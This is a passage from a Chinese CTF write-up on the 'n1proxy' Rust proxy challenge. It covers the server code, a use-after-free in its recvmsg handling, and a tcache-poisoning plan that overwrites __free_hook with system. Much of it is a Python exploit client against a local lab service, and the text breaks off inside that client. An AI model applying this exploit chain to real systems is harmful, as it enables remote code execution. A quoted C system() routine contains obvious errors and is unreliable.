                .verify(&conn_data[0..4], &signature)
                .map_err(|_| anyhow!("Invalid client key"))?;

            let mut lock = CLIENT_STREAM.lock();

            let client_streams = lock.entry(client_key).or_insert_with(HashSet::new);

            if client_streams.contains(&target_fd) {
                unsafe {
                    libc::close(target_fd);
                }
                client_streams.remove(&target_fd);
            }

            match conn_type {
                ProxyType::Udp => {
                    UDP_TARGET.lock().remove(&target_fd);
                }
                ProxyType::Sock => {
                    let mut socks = LISTEN_SOCK.lock();
                    socks.iter_mut().for_each(|(k, (i, v))| {
                        v.retain(|f| *f != target_fd);
                        if v.is_empty() {
                            unsafe {
                                libc::close(*i);
                            }
                            fs::remove_file(k).ok();
                        }
                    });
                    socks.retain(|_, (_, v)| !v.is_empty());
                }

                _ => (),
            };

            0u32.to_le_bytes().to_vec()
        }
        ProxyStatus::Listen => {
            let mut conn_data = vec![0; 2048];
            let recv_res = my_read(
                stream_fd,
                conn_data.as_mut_ptr() as *mut c_void,
                conn_data.len() as size_t,
            )?;
            conn_data.resize(recv_res as usize, 0);

            let conn_data = session_dec(session_key.clone(), &conn_data)?;

            if conn_data.len() < 64 {
                return Err(anyhow!("Invalid pre connection data"));
            }

            let target_host_len = u32::from_le_bytes(conn_data[0..4].try_into()?);
            let target_host =
                String::from_utf8(conn_data[4..(4 + target_host_len) as usize].to_vec())?;

            let mut next_index = 4 + target_host_len as usize;

            let target_port =
                u16::from_le_bytes(conn_data[next_index..(next_index + 2)].try_into()?);
            next_index += 2;

            let signature = pkcs1v15::Signature::try_from(&conn_data[next_index..])?;

            client_verify_key
                .verify(&conn_data[0..next_index], &signature)
                .map_err(|_| anyhow!("Invalid client key"))?;

            let conn_fd = match conn_type {
                ProxyType::Sock => new_unix_socket_listen(&target_host, target_port)?,
                _ => return Err(anyhow!("Invalid conn type")),
            }; //得到连接代理服务器的客户端套接字

            let mut lock = CLIENT_STREAM.lock();
            let total_stream_count = lock.values().map(|fds| fds.len()).sum::<usize>();

            if total_stream_count >= TOTAL_STREAM {
                unsafe {
                    libc::close(conn_fd);
                }
                return Err(anyhow!("Too many streams"));
            }

            let client_streams = lock.entry(client_key).or_insert_with(HashSet::new);

            if client_streams.len() >= MAX_STREAM {
                unsafe {
                    libc::close(conn_fd);
                }
                return Err(anyhow!("Too many streams"));
            }

            client_streams.insert(conn_fd);
            println!("New listen fd {}", conn_fd);
            conn_fd.to_le_bytes().to_vec()
        } //返回连接服务端和客户套接字最后
        ProxyStatus::Unknown => {
            return Err(anyhow!("Invalid conn type"));
        }
    };

    let signing_key = pkcs1v15::SigningKey::<Sha256>::new(pri_key);

    let key_exchange_sign = signing_key.sign(&res_msg).to_bytes();

    let res_msg = vec![res_msg, key_exchange_sign.to_vec()].concat();

    let res_msg = session_enc(session_key, &res_msg)?;

    my_write(stream_fd, res_msg.as_ptr() as *const c_void, res_msg.len())?;

    Ok(())
}

fn main() -> Result<()> {
    // make this easier :)
    unsafe {
        mallopt(libc::M_ARENA_MAX, 1);
    }

    let port = env::args().nth(1).unwrap_or("8080".to_string());
    let server_fd = unsafe { libc::socket(AF_INET, SOCK_STREAM, 0) };
    println!("n1proxy server listening on port {}", port);

    let mut server: sockaddr_in = unsafe { mem::zeroed() };

    server.sin_family = libc::AF_INET as u16;
    server.sin_addr.s_addr = libc::INADDR_ANY;
    server.sin_port = port.parse::<u16>()?.to_be();

    let socket_opt_res = unsafe {  //设置套接字的相关选项
        libc::setsockopt(
            server_fd,
            libc::SOL_SOCKET,
            libc::SO_REUSEADDR,
            &1 as *const _ as *const _,
            mem::size_of_val(&1) as u32,
        )
    };
    if socket_opt_res < 0 {
        panic!(
            "Failed to set socket options {:?}",
            std::io::Error::last_os_error()
        );
    }

    let bind_result = unsafe {  //将套接字和套接字地址结构绑定
        libc::bind(
            server_fd,
            &server as *const _ as *const _,
            mem::size_of_val(&server) as u32,
        )
    };
    if bind_result < 0 {
        panic!(
            "Failed to bind socket {:?}",
            std::io::Error::last_os_error()
        );
    }

    let listen_result = unsafe { libc::listen(server_fd, 5) }; //套接字开始监听

    if listen_result < 0 {
        panic!(
            "Failed to listen on socket {:?}",
            std::io::Error::last_os_error()
        );
    }

    loop {
        let client_fd =
            unsafe { libc::accept(server_fd, std::ptr::null_mut(), std::ptr::null_mut()) }; //返回连接上的客户端套接字
        if client_fd < 0 {
            break;
        }
        thread::spawn(move || {
            println!("New client connected");
            handle_client(client_fd).unwrap_or_else(|err| {
                eprintln!("Error: {}", err);
                let err_msg = format!("error : {}", err);
                my_write(client_fd, err_msg.as_ptr() as *const c_void, err_msg.len()).ok();
            }
        );
            unsafe { libc::close(client_fd) };
            println!("Client disconnected")
        });
    }

    Ok(())
}

公匙交换和签名

  • 发送方发送公钥和对公匙的签名(通过私匙和某种算法得到签名钥匙来对消息签名)
  • 接受方利用接受的公匙对接受的公匙(包括在数据部分)和签名认证(通过发送方的公匙)

会话钥匙

  • 发送方通过接受方的公钥对会话钥匙(随机生成)进行相关算法加密,然后将加密后的数据签名并一起发送过去
  • 接受方通过发送方的公匙来对数据和签名来认证,然后将数据部分通过私匙进行解密,最后得到会话钥匙

后续通信

  • 发送方将数据部分和数据部分的签名(私匙)通过会话钥匙加密,然后发送
  • 接受方先通过会话钥匙解密,然后通过对方的公匙验证签名和数据,

生命周期和裸指针

在代码片段

let mut recv_iov = [iovec {
    iov_base: vec![0u8; recv_size].as_mut_ptr() as *mut _,
    iov_len: recv_size,
}];

中,存在以下生命周期问题:

  1. Vec和裸指针的关系:
    当你创建一个Vec<u8>,并在其后立即通过as_mut_ptr()获取一个裸指针时,这个裸指针指向了Vec内部的内存。然而,Vec和裸指针的生命周期并没有显式关联。Vec的生命周期是在其创建的作用域内,而裸指针的生命周期则是不确定的,因为它脱离了Rust的生命周期管理系统。

  2. Vec的自动释放:
    由于Vec是在局部作用域中创建的,当这个作用域结束时,Vec将被自动释放,其内存将被回收。如果此时裸指针仍然在使用中,它就成为了悬挂指针,指向的是一块已经无效的内存。

在Rust中,表达式vec![0u8; recv_size]创建了一个Vec<u8>,其生命周期是与它被创建的作用域绑定的。

iovec {
    iov_base: vec![0u8; recv_size].as_mut_ptr() as *mut _,
    iov_len: recv_size,
}

这里的vec![0u8; recv_size]是在iovec结构体初始化的上下文中创建的。这意味着这个Vec<u8>的生命周期是与iovec初始化的那行代码所在的块(即花括号包围的代码区域)绑定的。一旦这个代码块执行完毕,Vec<u8>也将达到其生命周期的终点,其内存将被释放。

然而,这行代码中的vec![0u8; recv_size]创建的Vec<u8>的生命周期与iovec的生命周期可能存在冲突,因为ioveciov_base字段被设置为指向这个Vec的裸指针。当Vec<u8>的生命周期结束时,其内存被释放,但iovec可能仍然持有指向已释放内存的裸指针,这将导致悬挂指针。

写了个代码测试下
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述在这里插入图片描述

core::slice::raw::from_raw_parts core::slice::raw::from_raw_parts并没有申请堆块

在这里插入图片描述
在这里插入图片描述
res.to_vec()会再分配一次相同大小的堆块,并将 res 切片中的数据复制到这个新的内存块中。
在这里插入图片描述
后面的vec![recv_data.len().to_le_bytes().to_vec(), recv_data.to_vec()].concat() recv_data.to_vec()又申请了相同大小的chunk,并将之前数据拷贝,所以free后连续分配了两次

代码审计

在这里插入图片描述

漏洞点 libc-2.27.so

#[inline(always)]
fn my_recv_msg(fd: i32, recv_size: usize) -> Result<Vec<u8>> {
    let mut recv_iov = [iovec {
        iov_base: vec![0u8; recv_size].as_mut_ptr() as *mut _,
        iov_len: recv_size,
    }];
    let mut msg = msghdr {
        msg_name: std::ptr::null_mut(),
        msg_namelen: 0,
        msg_iov: recv_iov.as_mut_ptr(),
        msg_iovlen: 1,
        msg_control: std::ptr::null_mut(),
        msg_controllen: 0,
        msg_flags: 0,
    };
    let recv_sz = unsafe { recvmsg(fd, &mut msg, 0) };
    if recv_sz < 0 {
        return os_error!();
    }

    let res = unsafe { slice::from_raw_parts(recv_iov[0].iov_base as *const u8, recv_size) };
    Ok(res.to_vec())



 let recv_data = match conn_type { //得到返回数据
                ProxyType::Tcp => {
                    let mut recv_data = vec![0; recv_data_size as usize];

                    let recv_sz = my_read(
                        target_fd,
                        recv_data.as_mut_ptr() as *mut c_void,
                        recv_data.len() as size_t,
                    )?;
                    recv_data.resize(recv_sz as usize, 0);
                    recv_data
                }
                ProxyType::Udp => my_recvfrom(target_fd, recv_data_size as usize)?,
                ProxyType::Sock => my_recv_msg(target_fd, recv_data_size as usize)?,
                ProxyType::Unknown => return Err(anyhow!("Invalid conn type")),
            };


vec![recv_data.len().to_le_bytes().to_vec(), recv_data.to_vec()].concat() 

最后的处理
let res_msg = vec![res_msg, key_exchange_sign.to_vec()].concat();

    let res_msg = session_enc(session_key, &res_msg)?;

    my_write(stream_fd, res_msg.as_ptr() as *const c_void, res_msg.len())?;
}

my_recv_msg 函数等价为:

  1. 使用一个 recv_size 大小的内存初始化 iov_base;
  2. 释放这块内存得到悬空指针;
  3. 在 unsafe { recvmsg(fd, &mut msg, 0) } 处从读取事先发送到指定 fd 上的数据并写入这块内存(UAF);
  4. 最后通过 unsafe { slice::from_raw_parts(recv_iov[0].iov_base as *const u8, recv_size) } 得到切片,然后res.to_vec()会再分配一次相同大小的堆块,并将 res 切片中的数据复制到这个新的内存块中

大致思路(exp还有变化)

增加了tcache,tcache无next检查

  1. sendmsg发送零个字节,recvmsg设置较大的msg_recvsize使得内部的msg的iov_base被free后进入到unsortedbin中,然后recvmsg将接受到的(为零,所以没有写入)写入msg的iov_base,使得残留的libc地址不被修改
  2. res.to_vec()此时会重新分配,大小和之前刚被free的bin一样,然后泄露libc地址,并把之前的内容复制上去
  3. 由于是free后连续分配并拷贝原数据两次,第一次分配是原chunk,第二次就是改写后的fd对应的chunk。由于会拷贝原数据,(如果fd是free_hook-0x8 system,那么会分配到free_hook-0x8就会写入free_hook-0x8 system)所以改fd为free_hook-0x8 system。
  4. 由于后面还会又很多次的free操作会调用system函数,但由于参数不对会导致system执行失败,该线程就会卡住,但不影响
  5. 到下一次UAF时,这时发送相关指令,此时写到free的chunk的是指令,然后分配时候会得到原chunk,res.to_vec()会新建一个chunk,并复制原chunk的内容即指令,当其生命周期结束时,即调用system(指令)

调试

放到IDA,通过汇编下断点,但后面的汇编就是在看不懂了,只能通过read和write下断点
在这里插入图片描述

https://blog.csdn.net/counsellor/article/details/125882904
关于签名几个字节,签名.len()几个字节等,可以编写rust程序然后使用一样的函数来看看或者相关交换流程通过问gpt来处理

利用pause找对应的函数的断点,最终的 let mut recv_iov = [iovec { iov_base: vec![0u8; recv_size].as_mut_ptr() as *mut _, //生命周期问题导致存在悬挂指针 iov_len: recv_size, }];分配的操作应该在在这里插入图片描述

exp

这里需要新建一个线程运行listen,因为发送过去最终还要等connec函数连接成功才能得到listen返回的客户端的fd,而connec返回服务器的fd
为了防止connec时还没有开启accept,所以采取pause()

泄露libc

不能发送零个字节,recvmsg这样会阻塞,所以尝试发送一个字节0,出现
在这里插入图片描述

在这里插入图片描述
发生在 vec![recv_data.len().to_le_bytes().to_vec(), recv_data.to_vec()].concat()是因为改变了fd的值,导致fd不是unsorted_chunk的值
要绕过的话,一是要满足分配后,再free掉,赋值后fd或者bk部分有libc残留,同时fd要指向unsorted_chunk地址。

当我下malloc断点时发现第一次分配使用的_rust_alloc_zeroed 没有断下来,可能是其他函数。,IDA看了后发现用的是calloc,它和malloc区别在于刚开始不会从tcache中去chunk,而是直接开始比对是否属于fastbin(类似低版本的malloc,但会有当fastbin有多余的chunk会把它链入到tcache中去)

在这里插入图片描述
然后常规free
第二次分配使用的是__rust_alloc,对应malloc
在这里插入图片描述
如果第一次分配绕过tcache找到,然后free时由于tcache满了进入unsorted,再分配时候又是从tcache中找到,并且之后的chunk都可以从tcache中找到,free也可以直接到tcache或者到unsortedbin,就可以解决这个问题。总之,free赋值后就是后续的malloc只能从tcache来,这里从满的tcache的bin对应的chunksize大小一个个试

写free_hook

这里依然要保证malloc和calloc不能从unsortedbin中寻找(但好像通过某种风水下次也可以了),并且由于这里要写tcache chunk的fd,并且将原内容复制到fd对应的chunk上去,进而写free_hook为system。所以需要是tcache上的chunk,首先第一次是calloc,这个时候需要fastbin或者smallbin里有,free后进入tcache,赋值写fd,然后再分配从tcache出来,再分配就得到的free_hook-8的chunk,然后复制,进而写free_hook为system

  if (tc_idx < mp_.tcache_bins
      /*&& tc_idx < TCACHE_MAX_BINS*/ /* to appease gcc */
      && tcache
      && tcache->entries[tc_idx] != NULL)
    {
      return tcache_get (tc_idx);
    }
  DIAG_POP_NEEDS_COMMENT;
#endif

这里由于根据entries来分配tcache,找个之后都不会malloc用到的size即可,否则要用到之后fd对应的chunk残留的fd可能分配出问题。所以从没有对应的size的tcachebin中一个个试,另外这里发现会将recvmsg会将bk对应部分值清零,复制到又分配的chunk自然无法写free_hook了,所以改为free_hook-0x10+p64(0)+system


#include <sys/types.h>
#include <sys/wait.h>
#include <errno.h>
#include <unistd.h>

int system(const char * cmdstring)

{
    pid_t pid;
    int status;

    if(cmdstring == NULL){
          
         return (1);
    }


    if((pid = fork())<0){

            status = -1;
    }


    else if(pid = 0){

        execl("/bin/sh", "sh", "-c", cmdstring, (char *)0);

        -exit(127); //子进程正常执行则不会执行此语句

        }

    else{

            while(waitpid(pid, &status, 0) < 0){

                if(errno != EINTER){

                    status = -1;

                    break;

                }

            }

        }


        return status;


}

                       

system函数执行错误会让产生的子进程退出,gdb调一直卡在子进程,退出不了 发现卡是因为原来断点插入不了, 所以会卡住,离谱。但后面会由于很多free,然后如果有断点就会卡住,所以这里设置在hand_client不跟进子进程,但要进入hand_client又得需要进入子进程,比较麻烦

执行命令

覆盖后,下次发送相关命令,接收后赋值,当生命周期结束会调用free,进而system(命令),这里需要cat flag然后重定向到服务端套接字(应该是send
过去后,有对存储命令的堆的free操作),通过recv_msg将send的内容flag内容一起接收

exp

from pwn import *
import rsa
from typing import List
#from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
#from cryptography.hazmat.backends import default_backend
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from typing import Dict, List
import threading
from Crypto.Util.Padding import unpad

context(os="linux",arch="amd64",log_level="debug")
context.terminal = ["tmux", "splitw", "-h"]

class SessionKey:
    def __init__(self, key, iv):
        self.key = key
        self.iv = iv
        

    def __str__(self):
        return f"SessionKey(key={self.key}, iv={self.iv})"

    def __repr__(self):
        return str(self)


def session_enc(keys:SessionKey, msg: bytes) -> bytes:
    try:
        key = keys.key
        iv = keys.iv
        
        if len(key) != 32:
            raise ValueError(f"Invalid key length {len(key)}")
        if len(iv) != 16:
            raise ValueError(f"Invalid iv length {len(iv)}")
        
        # Create AES cipher in CBC mode
        cipher = AES.new(key, AES.MODE_CBC, iv)
        
        # Pad the message
        padded_msg = pad(msg, AES.block_size)
        
        # Encrypt the padded message
        encrypted = cipher.encrypt(padded_msg)
        
        return encrypted
    
    except Exception as e:
        raise Exception(f"Failed to encrypt message: {str(e)}")

def session_dec(keys: SessionKey, msg: bytes) -> bytes:
    key = keys.key
    iv = keys.iv
        
    if len(key) != 32:
        raise ValueError(f"Invalid key length {len(key)}")
    if len(iv) != 16:
        raise ValueError(f"Invalid iv length {len(iv)}")
    
    # Create AES cipher object for decryption
    cipher = AES.new(keys.key, AES.MODE_CBC, keys.iv)
    
    try:
        # Decrypt the message and remove padding
        decrypted = cipher.decrypt(msg)
        unpadded = unpad(decrypted, AES.block_size)
    except ValueError as err:
        raise ValueError(f"Failed to decrypt message: {err}") from err

    return unpadded
def listen():
    global client_fd,server_fd
    r=remote("127.0.0.1",8080)
    # shandhake
    r.sendafter(b"n1proxy server v0.1",b"n1proxy client v0.1") 
    # conntype
    r.send(b"\x00")

    # recv server key_exchange_sign.len()8| key_exchange_sign 512|pub_key_n.len() 8|pub_key_e.len() 8|pub_key_n 8|pub_key_e 8,
    key_exchange_sign_len=r.recv(8)
    key_exchange_sign=r.recv(512)
    pub_key_n_len=r.recv(8)
    pub_key_e_len=r.recv(8)
    pub_key_n=r.recv(512)
    pub_key_e=r.recv(4)

    server_pub_key = rsa.PublicKey(int.from_bytes(pub_key_n, byteorder='big'),
                        int.from_bytes(pub_key_e, byteorder='big'))
    if rsa.verify(pub_key_n_len+pub_key_e_len+pub_key_n+pub_key_e, key_exchange_sign, server_pub_key):
        print("server public key get Signature verified")

    # send client  key_exchange_sign.len()8| key_exchange_sign 512|pub_key_n.len() 8|pub_key_n 8|pub_key_e.len() 8|pub_key_e 8

    global  pub_key, pri_key
    pub_key_n = pub_key.n.to_bytes(512, byteorder='big')
    pub_key_e = pub_key.e.to_bytes(8, byteorder='big')
    key_exchange = b''.join([
        len(pub_key_n).to_bytes(8, byteorder='little'),
        pub_key_n,
        len(pub_key_e).to_bytes(8, byteorder='little'),
        pub_key_e
    ])
    key_exchange_sign = rsa.sign(key_exchange, pri_key, 'SHA-256')
    key_exchange_sign_len = len(key_exchange_sign)
    key_exchange_sign_msg = b''.join([
        key_exchange_sign_len.to_bytes(8, byteorder='little'),
        key_exchange_sign
    ])
    r.send(key_exchange_sign_msg)
    r.send(key_exchange)

    # get session key  new_session_sign.len 8| new_session_sign 512 |  enc_key.len() 8| enc_key 512 |enc_time.len() 8| enc_time 512
    new_session_sign_len=r.recv(8)
    new_session_sign=r.recv(512)
    enc_key_len=r.recv(8)
    enc_key=r.recv(512)
    enc_time_len=r.recv(8)
    enc_time=r.recv(512)
    if rsa.verify(enc_key_len+enc_key+enc_time_len+enc_time, new_session_sign, server_pub_key):
        print("server session key Signature verified")

    session_key_array = rsa.decrypt(enc_key, pri_key)
    session_key=SessionKey(
            session_key_array[:32],
            session_key_array[32:48]
        )
    timestamp = int.from_bytes(rsa.decrypt(enc_time, pri_key), byteorder='little')
    print("server session key",session_key)


    # ProxyType ProxyStatus   session_enc(conn_type 4 | status 4 | signature(conn_type 4 | status 4))
    ProxyStatus=4
    ProxyType=2
    prec_con=p32(ProxyType)+p32(ProxyStatus)
    prec_con_sign = rsa.sign(prec_con, pri_key, 'SHA-256')
    pre_conn_session_enc=session_enc(session_key,prec_con+prec_con_sign)
    r.send(pre_conn_session_enc)

 #  ok_msg session_enc(  ok_msg|  ok_msg_sign.len |  ok_msg_sign )
    ok_msg_enc=r.recv(528)
    ok_msg_total=session_dec(session_key,ok_msg_enc)
    if rsa.verify(ok_msg_total[:4], ok_msg_total[12:], server_pub_key):
        print("server ok_msg key Signature verified")

    #  about ProxyStatus operation 
    target_host=b"127.0.0.1"
    target_host_len=p32(9)
    target_port=p16(12345)
    conn_data_sign=rsa.sign(target_host_len+target_host+target_port, pri_key, 'SHA-256')
    conn_data_session_enc=session_enc(session_key,target_host_len+target_host+target_port+conn_data_sign)
    r.send(conn_data_session_enc)
   
    #  session_enc(socke_fd | signature)
    fd_session_enc=r.recv(528)
    fd_total=session_dec(session_key,fd_session_enc)
    if rsa.verify(fd_total[:4], fd_total[4:], server_pub_key):
        print("server client fd  key Signature verified")
    #p.interactive() # else process("./pwn") end
    client_fd=fd_total[:4]
    print("client fd ",client_fd)

def connec():
    global client_fd,server_fd
    r=remote("127.0.0.1",8080)
    # shandhake
    r.sendafter(b"n1proxy server v0.1",b"n1proxy client v0.1") 
    # conntype
    r.send(b"\x00")

    # recv server key_exchange_sign.len()8| key_exchange_sign 512|pub_key_n.len() 8|pub_key_e.len() 8|pub_key_n 8|pub_key_e 8,
    key_exchange_sign_len=r.recv(8)
    key_exchange_sign=r.recv(512)
    pub_key_n_len=r.recv(8)
    pub_key_e_len=r.recv(8)
    pub_key_n=r.recv(512)
    pub_key_e=r.recv(4)

    server_pub_key = rsa.PublicKey(int.from_bytes(pub_key_n, byteorder='big'),
                        int.from_bytes(pub_key_e, byteorder='big'))
    if rsa.verify(pub_key_n_len+pub_key_e_len+pub_key_n+pub_key_e, key_exchange_sign, server_pub_key):
        print("server public key get Signature verified")

    # send client  key_exchange_sign.len()8| key_exchange_sign 512|pub_key_n.len() 8|pub_key_n 8|pub_key_e.len() 8|pub_key_e 8

    global  pub_key, pri_key
    pub_key_n = pub_key.n.to_bytes(512, byteorder='big')
    pub_key_e = pub_key.e.to_bytes(8, byteorder='big')
    key_exchange = b''.join([
        len(pub_key_n).to_bytes(8, byteorder='little'),
        pub_key_n,
        len(pub_key_e).to_bytes(8, byteorder='little'),
        pub_key_e
    ])
    key_exchange_sign = rsa.sign(key_exchange, pri_key, 'SHA-256')
    key_exchange_sign_len = len(key_exchange_sign)
    key_exchange_sign_msg = b''.join([
        key_exchange_sign_len.to_bytes(8, byteorder='little'),
        key_exchange_sign
    ])
    r.send(key_exchange_sign_msg)
    r.send(key_exchange)

    # get session key  new_session_sign.len 8| new_session_sign 512 |  enc_key.len() 8| enc_key 512 |enc_time.len() 8| enc_time 512
    new_session_sign_len=r.recv(8)
    new_session_sign=r.recv(512)
    enc_key_len=r.recv(8)
    enc_key=r.recv(512)
    enc_time_len=r.recv(8)
    enc_time=r.recv(512)
    if rsa.verify(enc_key_len+enc_key+enc_time_len+enc_time, new_session_sign, server_pub_key):
        print("server session key Signature verified")

    session_key_array = rsa.decrypt(enc_key, pri_key)
    session_key=SessionKey(
            session_key_array[:32],
            session_key_array[32:48]
        )
    timestamp = int.from_bytes(rsa.decrypt(enc_time, pri_key), byteorder='little')
    print("server session key",session_key)


    # ProxyType ProxyStatus   session_enc(conn_type 4 | status 4 | signature(conn_type 4 | status 4))
    ProxyStatus=2
    ProxyType=2
    prec_con=p32(ProxyType)+p32(ProxyStatus)
    prec_con_sign = rsa.sign(prec_con, pri_key, 'SHA-256')
    pre_conn_session_enc=session_enc(session_key,prec_con+prec_con_sign)
    r.send(pre_conn_session_enc)
    #  ok_msg session_enc(  ok_msg|  ok_msg_sign.len |  ok_msg_sign )
    ok_msg_enc=r.recv(528)
    ok_msg_total=session_dec(session_key,ok_msg_enc)
    if rsa.verify(ok_msg_total[:4], ok_msg_total[12:], server_pub_key):
        print("server ok_msg key Signature verified")

    #  about ProxyStatus operation 
    # 
    target_host=b"127.0.0.1"
    target_host_len=p32(9)
    target_port=p16(12345)
    conn_data_sign=rsa.sign(target_host_len+target_host+target_port, pri_key, 'SHA-256')
    conn_data_session_enc=session_enc(session_key,target_host_len+target_host+target_port+conn_data_sign)
    r.send(conn_data_session_enc)

     #  session_enc(socke_fd | signature)
    fd_session_enc=r.recv(528)
    fd_total=session_dec(session_key,fd_session_enc)
    if rsa.verify(fd_total[:4], fd_total[4:], server_pub_key):
        print("server client fd  key Signature verified")
    #p.interactive() # else process("./pwn") end
    server_fd=fd_total[:4]
    print("server fd ",server_fd)
    #p.interactive() # else process("./pwn") end

def send(fd,size ,data):
    r=remote("127.0.0.1",8080)
    # shandhake
    r.sendafter(b"n1proxy server v0.1",b"n1proxy client v0.1") 
    # conntype
    r.send(b"\x00")

    # recv server key_exchange_sign.len()8| key_exchange_sign 512|pub_key_n.len() 8|pub_key_e.len() 8|pub_key_n 8|pub_key_e 8,
    key_exchange_sign_len=r.recv(8)
    key_exchange_sign=r.recv(512)
    pub_key_n_len=r.recv(8)
    pub_key_e_len=r.recv(8)
    pub_key_n=r.recv(512)
    pub_key_e=r.recv(4)

    server_pub_key = rsa.PublicKey(int.from_bytes(pub_key_n, byteorder='big'),
                        int.from_bytes(pub_key_e, byteorder='big'))
    if rsa.verify(pub_key_n_len+pub_key_e_len+pub_key_n+pub_key_e, key_exchange_sign, server_pub_key):
        print("server public key get Signature verified")

    # send client  key_exchange_sign.len()8| key_exchange_sign 512|pub_key_n.len() 8|pub_key_n 8|pub_key_e.len() 8|pub_key_e 8

    global  pub_key, pri_key
    pub_key_n = pub_key.n.to_bytes(512, byteorder='big')
    pub_key_e = pub_key.e.to_bytes(8, byteorder='big')
    key_exchange = b''.join([
        len(pub_key_n).to_bytes(8, byteorder='little'),
        pub_key_n,
        len(pub_key_e).to_bytes(8, byteorder='little'),
        pub_key_e
    ])
    key_exchange_sign = rsa.sign(key_exchange, pri_key, 'SHA-256')
    key_exchange_sign_len = len(key_exchange_sign)
    key_exchange_sign_msg = b''.join([
        key_exchange_sign_len.to_bytes(8, byteorder='little'),
        key_exchange_sign
    ])
    r.send(key_exchange_sign_msg)
    r.send(key_exchange)

    # get session key  new_session_sign.len 8| new_session_sign 512 |  enc_key.len() 8| enc_key 512 |enc_time.len() 8| enc_time 512
    new_session_sign_len=r.recv(8)
    new_session_sign=r.recv(512)
    enc_key_len=r.recv(8)
    enc_key=r.recv(512)
    enc_time_len=r.recv(8)
    enc_time=r.recv(512)
    if rsa.verify(enc_key_len+enc_key+enc_time_len+enc_time, new_session_sign, server_pub_key):
        print("server session key Signature verified")

    session_key_array = rsa.decrypt(enc_key, pri_key)
    session_key=SessionKey(
            session_key_array[:32],
            session_key_array[32:48]
        )
    timestamp = int.from_bytes(rsa.decrypt(enc_time, pri_key), byteorder='little')
    print("server session key",session_key)


    # ProxyType ProxyStatus   session_enc(conn_type 4 | status 4 | signature(conn_type 4 | status 4))
    ProxyStatus=0
    ProxyType=2
    prec_con=p32(ProxyType)+p32(ProxyStatus)
    prec_con_sign = rsa.sign(prec_con, pri_key, 'SHA-256')
    pre_conn_session_enc=session_enc(session_key,prec_con+prec_con_sign)
    r.send(pre_conn_session_enc)
    
    #  ok_msg session_enc(  ok_msg|  ok_msg_sign.len |  ok_msg_sign )
    ok_msg_enc=r.recv(528)
    ok_msg_total=session_dec(session_key,ok_msg_enc)
    if rsa.verify(ok_msg_total[:4], ok_msg_total[12:], server_pub_key):
        print("server ok_msg key Signature verified")

    #  about ProxyStatus operation 
    # 
    conn_data=p32(fd)+p64(size)+data
    conn_data_sign=rsa.sign(conn_data, pri_key, 'SHA-256')
    conn_data_session_enc=session_enc(session_key,conn_data+conn_data_sign)
    r.send(conn_data_session_enc)
    r.close()
    #p.interactive() # else process("./pwn") end


def recv(fd,size):
    r=remote("127.0.0.1",8080)
    # shandhake
    r.sendafter(b"n1proxy server v0.1",b"n1proxy client v0.1") 
    # conntype
    r.send(b"\x00")

    # recv server key_exchange_sign.len()8| key_exchange_sign 512|pub_key_n.len() 8|pub_key_e.len() 8|pub_key_n 8|pub_key_e 8,
    key_exchange_sign_len=r.recv(8)
    key_exchange_sign=r.recv(512)
    pub_key_n_len=r.recv(8)
    pub_key_e_len=r.recv(8)
    pub_key_n=r.recv(512)
    pub_key_e=r.recv(4)

    server_pub_key = rsa.PublicKey(int.from_bytes(pub_key_n, byteorder='big'),
                        int.from_bytes(pub_key_e, byteorder='big'))
    if rsa.verify(pub_key_n_len+pub_key_e_len+pub_key_n+pub_key_e, key_exchange_sign, server_pub_key):
        print("server public key get Signature verified")

    # send client  key_exchange_sign.len()8| key_exchange_sign 512|pub_key_n.len() 8|pub_key_n 8|pub_key_e.len() 8|pub_key_e 8

    global  pub_key, pri_key
    pub_key_n = pub_key.n.to_bytes(512, byteorder='big')
    pub_key_e = pub_key.e.to_bytes(8, byteorder='big')
    key_exchange = b''.join([
        len(pub_key_n).to_bytes(8, byteorder='little'),
        pub_key_n,
        len(pub_key_e).to_bytes(8, byteorder='little'),
        pub_key_e
    ])
    key_exchange_sign = rsa.sign(key_exchange, pri_key, 'SHA-256')
    key_exchange_sign_len = len(key_exchange_sign)
    key_exchange_sign_msg = b''.join([
        key_exchange_sign_len.to_bytes(8, byteorder='little'),
        key_exchange_sign
    ])
    r.send(key_exchange_sign_msg)
    r.send(key_exchange)

    # get session key  new_session_sign.len 8| new_session_sign 512 |  enc_key.len() 8| enc_key 512 |enc_time.len() 8| enc_time 512
    new_session_sign_len=r.recv(8)
    new_session_sign=r.recv(512)
    enc_key_len=r.recv(8)
    enc_key=r.recv(512)
    enc_time_len=r.recv(8)
    enc_time=r.recv(512)
    if rsa.verify(enc_key_len+enc_key+enc_time_len+enc_time, new_session_sign, server_pub_key):
        print("server session key Signature verified")

    session_key_array = rsa.decrypt(enc_key, pri_key)
    session_key=SessionKey(
            session_key_array[:32],
            session_key_array[32:48]
        )
    timestamp = int.from_bytes(rsa.decrypt(enc_time, pri_key), byteorder='little')
    print("server session key",session_key)


    # ProxyType ProxyStatus   session_enc(conn_type 4 | status 4 | signature(conn_type 4 | status 4))
    ProxyStatus=1
    ProxyType=2
    prec_con=p32(ProxyType)+p32(ProxyStatus)
    prec_con_sign = rsa.sign(prec_con, pri_key, 'SHA-256')
    pre_conn_session_enc=session_enc(session_key,prec_con+prec_con_sign)
    r.send(pre_conn_session_enc)

    #  ok_msg session_enc(  ok_msg|  ok_msg_sign.len |  ok_msg_sign )
    ok_msg_enc=r.recv(528)
    ok_msg_total=session_dec(session_key,ok_msg_enc)
    if rsa.verify(ok_msg_total[:4], ok_msg_total[12:], server_pub_key):
        print("server ok_msg key Signature verified")


    #  about ProxyStatus operation 
   
    conn_data=p32(fd)+p64(size)
    conn_data_sign=rsa.sign(conn_data, pri_key, 'SHA-256')
    conn_data_session_enc=session_enc(session_key,conn_data+conn_data_sign)
    r.send(conn_data_session_enc)
     #   session_enc( recv_data.len() |  recv_data | sign(recv_data.len() |  recv_data)  )
 
    recv_enc_data = r.recv()
    recv_data = session_dec(session_key,recv_enc_data)
    data_len = u64(recv_data[:8])
    data = recv_data[8:8+data_len]
    sig = recv_data[8+data_len:]
    if rsa.verify(recv_data[:8+data_len],sig,server_pub_key):
        print("recvdata key Signature verified")
    return data
    #p.interactive() # else process("./pwn") end
def recv_no(fd,size):
    r=remote("127.0.0.1",8080)
    # shandhake
    r.sendafter(b"n1proxy server v0.1",b"n1proxy client v0.1") 
    # conntype
    r.send(b"\x00")

    # recv server key_exchange_sign.len()8| key_exchange_sign 512|pub_key_n.len() 8|pub_key_e.len() 8|pub_key_n 8|pub_key_e 8,
